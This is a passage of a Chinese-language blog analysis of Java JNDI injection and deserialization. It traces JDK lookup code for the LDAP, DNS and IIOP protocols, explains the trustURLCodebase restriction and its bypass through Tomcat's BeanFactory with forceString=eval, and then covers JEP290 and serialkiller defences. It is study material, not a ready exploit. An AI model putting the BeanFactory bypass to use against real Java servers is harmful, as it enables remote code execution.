            Class<?> clas = null;
     
    
            // Try to use current class loader
            try {
                 clas = helper.loadClass(factoryName);
            } catch (ClassNotFoundException e) {
                // ignore and continue
                // e.printStackTrace();
            }
            // All other exceptions are passed up.
     
    
            // Not in class path; try to use codebase
            String codebase;
            if (clas == null &&
                    (codebase = ref.getFactoryClassLocation()) != null) {
                try {
                    clas = helper.loadClass(factoryName, codebase); // 从远程codebase加载了攻击者的类
                } catch (ClassNotFoundException e) {
                }
            }
     
    
            return (clas != null) ? (ObjectFactory) clas.newInstance() : null; // 执行构造函数,触发payload
        }
     
    
    
    1.1.5.2.3.2. DNS协议(不可以利用)

    生成的是dnsURLContext作为context对象。

    1. 调用com.sun.jndi.toolkit.url.GenericURLContext.lookup方法
            // 代码之前分析过
            ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
            Context var3 = (Context)var2.getResolvedObj(); // 取出dnsURLContext  
     
    
            Object var4;
            try {
                // 主要看lookup函数从远程获取数据后的解析方式
                var4 = var3.lookup(var2.getRemainingName());
            } finally {
                var3.close();
            }
     
    
            return var4;
    
    1. 同样进入com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup

    2. 再次进入com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup

    3. 进入c_lookup

    // 此处不一样了 是com.sun.jndi.dns.DnsContext类下的c_lookup
     public Object c_lookup(Name var1, Continuation var2) throws NamingException {
            var2.setSuccess();
            if (var1.isEmpty()) {
                DnsContext var9 = new DnsContext(this);
                var9.resolver = new Resolver(this.servers, this.timeout, this.retries);
                return var9;
            } else {
                try {
                    DnsName var3 = this.fullyQualify(var1);
                    ResourceRecords var10 = this.getResolver().query(var3, this.lookupCT.rrclass, this.lookupCT.rrtype, this.recursion, this.authoritative); // 通过dns请求返回数据
                    Attributes var5 = rrsToAttrs(var10, (CT[])null);
                    DnsContext var6 = new DnsContext(this, var3); // 从这里可以看到 已经限定了var6的类,他不是Reference的子类,所以无法利用
                    return DirectoryManager.getObjectInstance(var6, var1, this, this.environment, var5); // 之前触发payload的点,关键需要是var6的类为Reference
                } catch (NamingException var7) {
                    var2.setError(this, var1);
                    throw var2.fillInException(var7);
                } catch (Exception var8) {
                    var2.setError(this, var1);
                    NamingException var4 = new NamingException("Problem generating object using object factory");
                    var4.setRootCause(var8);
                    throw var2.fillInException(var4);
                }
            }
        }
    

    DnsContext的类图:

    1.1.5.2.3.3. iiop协议(同RMI一样)

    iiop协议看起来有点复杂,静态看了一下。
    这里是生成了iiopURLContext,流程也与ldap 和 dns协议类似,快进一下

    1. 解析入口
    public Object lookup(String name) throws NamingException {
            return getURLOrDefaultInitCtx(name).lookup(name); // 生成了iiopURLContext
        }
    
     // 跟进去以后发现 ResolveResult 的第一个参数context是CNCtx类
     public static ResolveResult createUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
            CNCtx var2 = new CNCtx(); // var2是CNCtx()
            if (var1 != null) {
                var1 = (Hashtable)var1.clone();
            }
     
    
            var2._env = var1;
            String var3 = var2.initUsingUrl(var1 != null ? (ORB)var1.get("java.naming.corba.orb") : null, var0, var1);
            return new ResolveResult(var2, parser.parse(var3)); // var2 是 后面流程中会使用的context, var3就是之前协议里需要发送的数据
        }
    
    1. 调用对应context(CNCtx)的lookup方法
    // CNCtx.lookup
    public Object lookup(Name var1) throws NamingException {
            if (this._nc == null) {
                throw new ConfigurationException("Context does not have a corresponding NamingContext");
            } else if (var1.size() == 0) {
                return this;
            } else {
                NameComponent[] var2 = CNNameParser.nameToCosName(var1);
                Object var3 = null;
     
    
                try {
                    var3 = this.callResolve(var2); // 从返回的数据中生成对象 , 不了解iiop协议,不清楚这里会不会存在问题
     
    
                    try {
                        // 判断trusted ,跟rmi协议一致,下面一段
                        if (CorbaUtils.isObjectFactoryTrusted(var3)) {
                            var3 = NamingManager.getObjectInstance(var3, var1, this, this._env); // 会调用factory的构造函数构造factory,但是有trustURLCodebase控制
                        }
     
    
                        return var3;
                    } catch (NamingException var6) {
                        throw var6;
                    } catch (Exception var7) {
                        NamingException var9 = new NamingException("problem generating object using object factory");
                        var9.setRootCause(var7);
                        throw var9;
                    }
                } catch (CannotProceedException var8) {
                    Context var5 = getContinuationContext(var8);
                    return var5.lookup(var8.getRemainingName());
                }
            }
     
    
    // isObjectFactoryTrusted
     
    
    public static boolean isObjectFactoryTrusted(java.lang.Object var0) throws NamingException {
            Reference var1 = null;
            if (var0 instanceof Reference) {
                var1 = (Reference)var0;
            } else if (var0 instanceof Referenceable) {
                var1 = ((Referenceable)((Referenceable)var0)).getReference();
            }
     
    
            if (var1 != null && var1.getFactoryClassLocation() != null && !CNCtx.trustURLCodebase) { // 同rmi一样,通过com.sun.jndi.cosnaming.object.trustURLCodebase 配置控制
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.cosnaming.object.trustURLCodebase' to 'true'.");
            } else {
                return true;
            }
        }
    
    1.1.5.2.3.4. ldap (在jdk8u191以后更新的流程)

    以JDK8u251为例

    在javax.naming.spi.NamingManagergetObjectFactoryFromReference()里调用loadClass时进行了控制

     static ObjectFactory getObjectFactoryFromReference(
            Reference ref, String factoryName)
            throws IllegalAccessException,
            InstantiationException,
            MalformedURLException {
            Class<?> clas = null;
     
    
            // Try to use current class loader
            try {
                 clas = helper.loadClass(factoryName); // 使用当前classloader找目标工厂
            } catch (ClassNotFoundException e) {
                // ignore and continue
                // e.printStackTrace();
            }
            // All other exceptions are passed up.
     
    
            // Not in class path; try to use codebase
            String codebase;
            if (clas == null &&
                    (codebase = ref.getFactoryClassLocation()) != null) {
                try {
                    clas = helper.loadClass(factoryName, codebase); // 从远程的codebase找工厂,这里进行调整
                } catch (ClassNotFoundException e) {
                }
            }
     
    
            return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
        }
     
    
    // com.sun.naming.internal.VersionHelper12.loadClass
            public Class<?> loadClass(String className, String codebase)
                throws ClassNotFoundException, MalformedURLException {
            // 引入了trustURLCodebase  com.sun.jndi.ldap.object.trustURLCodebase
            if ("true".equalsIgnoreCase(trustURLCodebase)) {
                ClassLoader parent = getContextClassLoader();
                ClassLoader cl =
                        URLClassLoader.newInstance(getUrlArray(codebase), parent);
     
    
                return loadClass(className, cl);
            } else {
                return null;
            }
        }
     
    
    

    说实话难搞

    1.1.5.2.4. 利用 org.apache.naming.factory.BeanFactory

    相关的jar包

    <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.15</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>8.5.27</version>
    </dependency>
    

    trustURLCodebase的机制实际上是对加载的远程工厂做了限制,beanfatory实际上是一个本地工厂,所以可以利用Refence调用beanFactory的getObjectInstantce

    1. 调试进入org.apache.naming.factory.BeanFactory.getObjectInstantce()
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
            if (obj instanceof ResourceRef) {
                try {
                    Reference ref = (Reference)obj;
                // 省略
    
    1. 根据ResourceRef对象生成其引用的对象javax.el.ELProcessor
    // beanClass : javax.el.ELProcessor
       BeanInfo bi = Introspector.getBeanInfo(beanClass);
        PropertyDescriptor[] pda = bi.getPropertyDescriptors();
        Object bean = beanClass.getConstructor().newInstance();
        RefAddr ra = ref.get("forceString"); // x=eval
        Map<String, Method> forced = new HashMap();
    

    forceString的目的是为了指定某个属性的set方法,一般情况下id对应的set方法是setId,这里通过指定某个属性的set方法,从而在反序列化过程中获得执行一个指定函数的机会。

     
    
    value = (String)ra.getContent(); // 获取之前的字符的值
    Object[] valueArray = new Object[1]; 
    Method method = (Method)forced.get(propName); // 之前指定的set方法为eval 
    if (method != null) {
        valueArray[0] = value;
     
    
        try {
            method.invoke(bean, valueArray); // 反射调用这个方法
            // 调用javax.el.ELProcessor.eval方法获得了动态执行脚本的能力, 触发paylaod
        } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
        throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
        }
    }
    

    参考引用的第六篇

    1.2. 防护

    1.2.1. JEP290机制

    1. 过滤器

    之前提到在调试过程中已经看到的ObjectInputFilter

    通过实现 ObjectInputFilter 的接口,并调用ObjectInputFilter.Config.setObjectInputFilter(ObjectInputStream var0, ObjectInputFilter var1)

    之前的介绍中已经说明,该方式是检测序列化过程中生成类,可以采用白名单或者黑名单的方式对关键类进行检测,例如InvokerTransformer

    1. 全局过滤器

    jdk.serialFilter 系统属性(-D) 或者 采用%JAVA_HOME%/conf/security/java.properties文件进行配置,具体规则到引用链接中查看配置

    1.2.2. serialkiller

    通过重写相关类的方式,进行防护。 思路其实和JEP290一致,感觉290的实现上会方便一点。

    不过这项目是一个过滤清单比较好的来源

    1.3. 引用

    1. Java序列化格式详解
    2. SerializationDumper 序列化数据格式解析查看
    3. Lib之过?Java反序列化漏洞通用利用分析
    4. gadgets仓库 ysoserial
    5. 基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI
    6. 在Java中利用JNDI注入
    7. JEP290机制

    1.4. 其他

    PS: 之前提到了BadAttributeValueExpException来做触发,我也调了下,看代码是TiedMapEntry.toString()-> lazyMap.get (无key) -> Transformer.transform,实际上在调的过程发现在调用toString()之前,就已经触发了代码, 是在序列化过程中构造TiedMapEntry时,ObjectStreamClass.setObjFieldValues -> unsafe.putObject(obj, key, val); 时触发了

    // javaioObjectStreamClass.java
    void setObjFieldValues(Object obj, Object[] vals) {
                if (obj == null) {
                    throw new NullPointerException();
                }
                for (int i = numPrimFields; i < fields.length; i++) {
                    long key = writeKeys[i];
                    if (key == Unsafe.INVALID_FIELD_OFFSET) {
                        continue;           // discard value
                    }
                    switch (typeCodes[i]) {
                        case 'L':
                        case '[':
                            Object val = vals[offsets[i]];
                            if (val != null &&
                                !types[i - numPrimFields].isInstance(val))
                            {
                                Field f = fields[i].getField();
                                throw new ClassCastException(
                                    "cannot assign instance of " +
                                    val.getClass().getName() + " to field " +
                                    f.getDeclaringClass().getName() + "." +
                                    f.getName() + " of type " +
                                    f.getType().getName() + " in instance of " +
                                    obj.getClass().getName());
                            }
                            unsafe.putObject(obj, key, val); // 此处触发
                            break;
     
    
                        default:
                            throw new InternalError();
                    }
                }
            }
    

    unsafe.putObject是一个java native的方法,没有实际了解过代码。不过从idea的告警中,可以看到确实调用到了lazymap的get的方法,由于初始状态下是没有该记录的,会触发payload。

    感慨一下大佬们牛逼.

  • 相关阅读:
    Seasar2:SAStruts:View(JSP)
    Seaser2:SAStruts:エラーメッセージの設定
    Seaser2:SAStruts:アクションとアクションフォーム(Struts)
    SAStruts アクションにJSONを返すメソッドを作成してみる
    S2JDBC テーブルを利用した独自仕様のid採番メソッド
    【C++ 异常】error: jump to case label [fpermissive]
    MusicXML 3.0 (15) 倚音
    MusicXML 3.0 (9) 小节线、反复线、终止线
    MusicXML 3.0 (13) 歌词
    MusicXML 3.0 (10) 换行、换页
  • 原文地址:https://www.cnblogs.com/alka1d/p/12748118.html
Copyright © 2011-2022 走看看